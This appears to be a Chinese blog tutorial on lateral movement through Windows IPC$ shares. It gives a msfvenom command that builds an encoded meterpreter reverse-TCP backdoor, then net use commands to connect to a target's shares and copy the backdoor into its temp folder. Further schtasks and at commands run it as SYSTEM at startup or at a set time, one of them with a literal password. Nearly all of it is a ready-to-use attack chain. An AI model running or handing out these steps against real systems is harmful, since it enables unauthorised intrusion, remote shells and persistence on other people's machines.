IPC Basic Operation

IPC$(Internet Process Connection)是共享”命名管道”的资源。

它是为了让进程间通信而开放的命名管道,
通过提供可信任的用户名和口令,
连接双方可以建立安全的通道并以此通道进行加密数据的交换,
从而实现对远程计算机的访问。

使用条件:

  • 开放了139、445端口;
  • 目标开启ipc$文件共享;
  • 获取用户账号密码。

msfvenom生成后门

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.79.207 LPORT=4444 -f exe > ./test.exe

与目标建立ipc$连接

#建立ipc连接
net use \\10.211.55.9\ipc$ /u:adminstrator <password>

#查看已建立的连接
net use

#挂载目标c盘到本地,盘符为z
net use z:  \\10.211.55.9\c$   

#查看目标网路共享的资源
net view \\10.211.55.9

拷贝test.exe到目标网络

#拷贝本地文件到目标C:\windows\temp\中
copy test.exe \\10.211.55.9\c$\windows\temp\

#下载目录C:\windows\temp\hash.txt文件到本地
copy \\10.211.55.9\c$\windows\temp\aaa.txt

4.启用计划任务执行

使用schtasks.exe命令
#在目标上创建计划任务task_name1
schtasks /create /tn task_name1 /s 10.211.55.9  /u administrator /p <password> /tr c:\windows\temp\test.exe /sc onstart /ru system

#执行目标上的计划任务task_name1
schtasks /run /s 10.211.55.9 /u administrator /p <password> /tn task_name1

# 创建该时间之后的某个时刻自动执行任务,任务名 plugin_update
schtasks /create /tn "plugin_update" /tr c:\windows\temp\plugin_update.exe /sc once /st 16:32 /S 193.168.1.12 /RU System /u administrator /p "1qaz@WSX"

#删除目标上的计划任务task_name1
schtasks /delete /s 10.211.55.9 /u administrator /p <password>  /tn task_name1  /f
使用at命令
#查看目标上的时间
net time \\10.211.55.9

#设定目标上的定时执行的任务
at \\10.211.55.9 13:54 c:\windows\temp
test.exe

#删除目标上的定时任务
at \\10.211.55.9
at \\10.211.55.9 <id> /del

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 askding@qq.com

💰

×

Help us with donation